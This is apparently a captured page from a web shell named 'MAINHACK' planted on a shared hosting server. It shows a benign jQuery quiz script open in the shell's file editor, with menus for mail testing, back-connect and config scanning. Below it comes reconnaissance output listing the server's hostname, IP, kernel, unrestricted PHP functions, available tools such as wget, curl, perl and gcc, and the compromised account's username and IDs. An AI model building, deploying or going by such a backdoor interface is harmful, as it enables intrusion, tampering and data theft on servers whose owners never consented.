[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: quiz-start.js
(function ($) { "use strict"; if (jQuery().startTimer) { $('.timer').startTimer({ onComplete: function (element) { element.addClass('text-danger'); $('.quiz-form form').trigger('submit'); } }); } var question_step = 1; var current_fs, next_fs, previous_fs; //fieldsets var opacity; function handleButtonDisable() { const question_count = $('.js-quiz-question-count').val(); if (question_step >= question_count) { $(".next").prop('disabled', true); } else { $(".next").prop('disabled', false); } if (question_step <= 1) { $(".previous").prop('disabled', true); } else { $(".previous").prop('disabled', false); } } $("body").on('click', '.next', function () { current_fs = $('.question-step-' + question_step); next_fs = $('.question-step-' + (question_step + 1)); if (next_fs.length < 1) { return } next_fs.show(); current_fs.animate({opacity: 0}, { step: function (now) { opacity = 1 - now; current_fs.css({ 'display': 'none', 'position': 'relative' }); next_fs.css({'opacity': opacity}); }, duration: 600 }); question_step += 1; handleButtonDisable(); }); $("body").on('click', '.previous', function () { current_fs = $('.question-step-' + question_step); previous_fs = $('.question-step-' + (question_step - 1)); if (previous_fs.length < 1) { return } previous_fs.show(); current_fs.animate({opacity: 0}, { step: function (now) { opacity = 1 - now; current_fs.css({ 'display': 'none', 'position': 'relative' }); previous_fs.css({'opacity': opacity}); }, duration: 600 }); question_step--; handleButtonDisable(); }); let videoOptions = { autoplay: false, preload: 'auto', }; var videoItems = $('.video-js'); if (videoItems.length) { videoItems.each(function (key) { var el = videoItems[key]; var id = $(el).attr('id'); videojs(id, videoOptions); }); } })(jQuery);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285